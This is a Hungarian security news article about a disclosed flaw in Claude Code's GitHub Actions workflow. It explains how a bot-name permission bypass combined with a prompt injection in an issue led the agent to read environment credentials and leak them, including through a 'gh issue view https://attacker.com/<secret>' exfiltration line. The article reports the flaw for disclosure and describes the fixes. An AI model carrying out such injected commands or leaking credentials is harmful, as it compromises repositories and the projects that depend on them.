A Claude Code GitHub Actions sérülékenysége

Az Anthropic által fejlesztett Claude Code mesterséges intelligencia alapú kódolási asszisztens GitHub Actionsbe integrált munkafolyamata kritikus biztonsági sérülékenységet tartalmazott, amelyet RyotaK, a GMO Flatt Security kutatója fedezett fel. A sebezhetőség nem csupán egyetlen szervezet vagy projekt kompromittálását tette lehetővé, hanem egy klasszikus ellátási lánc támadás keretei közt minden olyan downstream repositoryt veszélyeztetett, amely az Anthropic hivatalos CI/CD munkafolyamatára támaszkodik. A hibát végül a Claude Code GitHub Actions v1.0.94-es verziójában javították.

A sérülékenység gyökere a checkWritePermissions nevű függvénybe volt beágyazva. Ez a funkció felelős lett volna annak ellenőrzéséért, hogy egy adott GitHub Actions-trigger rendelkezik-e megfelelő írási vagy adminisztrátori jogosultsággal a munkafolyamat végrehajtásához. A megvalósítás azonban egy kritikus logikai hibát tartalmazott. A függvény feltétel nélkül megbízhatónak ítélt minden olyan actort, amelynek neve [bot] végződéssel rendelkezik, függetlenül a tényleges engedélyektől. Ez a megkülönböztetés-nélküli megbízhatóság önmagában is komoly probléma, mivel a GitHub App-ok implicit olvasási hozzáféréssel rendelkeznek bármely nyilvános repositoryhoz, és egy egyszerű telepítési tokennel képesek issue-kat, illetve pull requesteket létrehozni tetszőleges célrepositoryban. Így egy támadónak mindössze három lépésre volt szüksége:

  • létrehozni egy rosszindulatú GitHub App-ot,
  • telepíteni azt egy saját kontrollja alatt álló repositoryba,
  • majd az App telepítési tokenjével issue-t vagy pull requestet nyitni a célrepositoryban.

Fontos megjegyezni, hogy míg a tag módban létezett egy kiegészítő checkHumanActor ellenőrzés, az agent mód a felfedezés idején nem rendelkezett ezzel a védelemmel. Ez az asszimetria lehetővé tette, hogy a támadó kifejezetten azt az üzemmódot célozza meg, amelyik a legkisebb ellenállást kínálta.

A jogosultságmegkerülés önmagában csupán belépési pontot biztosított, a tényleges károkozást egy arra épülő prompt injection támadás tette lehetővé. A támadó mesterségesen előállított issue leírást töltött fel a célrepositoryba, amelybe egy hamis hibaüzenetet ágyazott be, hogy a Claude Code-ot rejtett parancsok végrehajtására vegye rá. A módszer a generatív AI rendszerek azt az ismert gyengeségét használja ki, hogy a modell nem képes megbízhatóan elkülöníteni a felhasználói utasításokat a folyamat részeként feldolgozott, külső forrásból érkező tartalomtól.

A Claude Code bizonyos Bash parancsokat (köztük a cat és a head utasításokat) explicit felhasználói jóváhagyás nélkül is végrehajt. Ez lehetővé tette a /proc/self/environ pszeudófájl tartalmának kiolvasását, amely a munkafolyamatnak átadott összes környezeti változót tartalmazza. A legkritikusabb ezek közül az ACTIONS_ID_TOKEN_REQUEST_TOKEN és az ACTIONS_ID_TOKEN_REQUEST_URL volt, amelyek a GitHub Actions OIDC tokenjének igényléséhez szükséges hitelesítő adatokat jelentik.

Ezen adatok megszerzésével a támadó reprodukálni tudta a teljes tokencsere-folyamatot, és az Anthropic backendjén keresztül privilegizált GitHub App tokent szerezhetett, amely írási hozzáférést biztosított a célrepository tartalmához, issue-jaihoz, pull requestjeihez és munkafolyamataihoz. Az így megszerzett adatokat a mcp__github__update_issue MCP eszközzel lehetett visszaírni egy nyilvános issue-ba, ahonnan a támadó egyszerűen olvashatta azokat.

A sebezhetőség legsúlyosabb következménye az volt, hogy maga az anthropics/claude-code-action repository is sebezhető agent módú munkafolyamatot alkalmazott. Egy sikeres exploitálás tehát lehetővé tette volna, hogy a támadó közvetlenül a GitHub Action forráskódjába injektáljon rosszindulatú kódot, amely ezt követően minden olyan downstream repositoryba továbbterjedt volna, amely erre támaszkodik.

RyotaK egy másodlagos támadási vektort is azonosított, amely az Anthropic hivatalos példa-munkafolyamatainak egy konfigurációs hibáját használta ki. Az allowed_non_write_users: “*” beállítás és az issues: write, illetve id-token: write engedélyekkel kombinálva lehetséges volt két munkafolyamat összeláncolása. A triage workflow segítségével el lehetett lopni a GITHUB_TOKEN-t a Claude nyilvánosan látható workflow futtatási összefoglalójából, majd egy meglévő issue szerkesztésével prompt injekciót lehetett végrehajtani a tag módú workflowban, végső soron teljes repository-kompromittáláshoz vezetve. Mindezt anélkül, hogy a GitHub App bypassra egyáltalán szükség lett volna. Még a gh issue view CLI parancs is fegyverré vált. A prompt injection utasíthatta a Claude-ot, hogy az URL-argumentumba ágyazva (gh issue view https://attacker.com/<secret>) külső szerverre továbbítsa a hitelesítő adatokat.

Az Anthropic a v1.0.94-es kiadásban több rétegű javítást eszközölt. Az agent módba bekerült a checkHumanActor ellenőrzés, a workflow futtatási összefoglaló szekciót alapértelmezetten letiltották, a Claude Code által indított folyamatoktól megvonták a környezeti változók öröklését, és egy egyedi gh wrappert vezettek be, amely validálja az argumentumokat és blokkolja az exfiltration-képes URL-mintákat. Ezenkívül bevezették azt a logikát, amely figyelmen kívül hagyja a workflow-trigger után szerkesztett issue-kat és hozzászólásokat, ezzel lezárva a workflow-láncolási vektort.

A sérülékenység CVSS v4.0 alapján 7.8-as pontszámot kapott, az Anthropic pedig összesen 4 800 dollár bug bounty összeget ítélt meg a kutatónak.

(cybersecuritynews.com)